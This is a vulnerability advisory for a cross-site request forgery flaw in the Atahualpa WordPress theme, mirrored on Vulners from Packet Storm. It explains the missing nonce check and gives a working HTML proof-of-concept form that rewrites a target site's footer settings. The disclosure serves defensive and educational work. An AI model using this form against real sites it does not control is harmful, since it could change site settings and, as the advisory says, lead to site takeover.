Vulners
Lucene search
WordPress Atahualpa Theme Cross Site Request Forgery
🗓️ 03 Mar 2017 00:00:00Reported by Spyros GasteratosType 
packetstorm🔗 packetstormsecurity.com👁 39 Views
`------------------------------------------------------------------------
Cross-Site Request Forgery in Atahualpa WordPress Theme
------------------------------------------------------------------------
Spyros Gasteratos, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross Site Request Forgery vulnerability exists in the Atahualpa
Wordpress theme which allows attackers to legitimate users into
performing unintended actions on the Atahualpa theme configuration page.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0003
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Atahualpa WordPress Theme
WordPress Theme.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_atahualpa_wordpress_theme.html
The theme's save configuration settings form doesn't include a Wordpress CSRF nonce and consequently the script servicing the request doesn't check for one. This allows the form to be submitted with preloaded values as long as the browser sends a valid login cookie.
This allows attackers who lure legitimate users with an active Wordpress session to an irrelevant website which submits the "Save Settings" request to the user's Wordpress install. Since the request is towards a domain for which the browser has cookies the legitimate cookies will be submitted and the request will succeed.
The theme's configuration panel allows setting a variety of configuration options including changes in the website's appearance as well as appending Javascript in several areas. Attackers can use this vulnerability to take over a Wordpress website.
Proof of concept
Install the theme, login as admin and load the following csrf poc in the same browser on another tab, when clicking "Submit" it will modify the page footer.
<html>
<body>
<form action="http://<target>/wp-admin/themes.php?page=atahualpa-options" method="POST">
<input type="hidden" name="footer_style" value="background-color: #ffffff;
border-top: dashed 1px #cccccc;
padding: 10000px;
text-align: center;
color: #777777;
font-size: 95%;
/*bye*/"/>
<input type="hidden" name="footer_style_links" value="text-decoration: none;
color: #777777;
font-weight: normal;"/>
<input type="hidden" name="footer_style_links_hover" value="text-decoration: none;
color: #777777;
font-weight: normal;"/>
<input type="hidden" name="footer_style_content" value="Copyright © %current-year% %home% - All Rights Reserved"/>
<input type="hidden" name="full_width_footer" value="No"/>
<input type="hidden" name="sticky_layout_footer" value="No"/>
<input type="hidden" name="footer_show_queries" value="No"/>
<input type="hidden" name="save" value=""/>
<input type="hidden" name="action" value="save"/>
<input type="hidden" name="category" value="footer-style"/>
<input type="submit" value="Submit"/>
</form>
</body>
</html>
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Mar 2017 00:00Current
0.2Low risk
Vulners AI Score0.2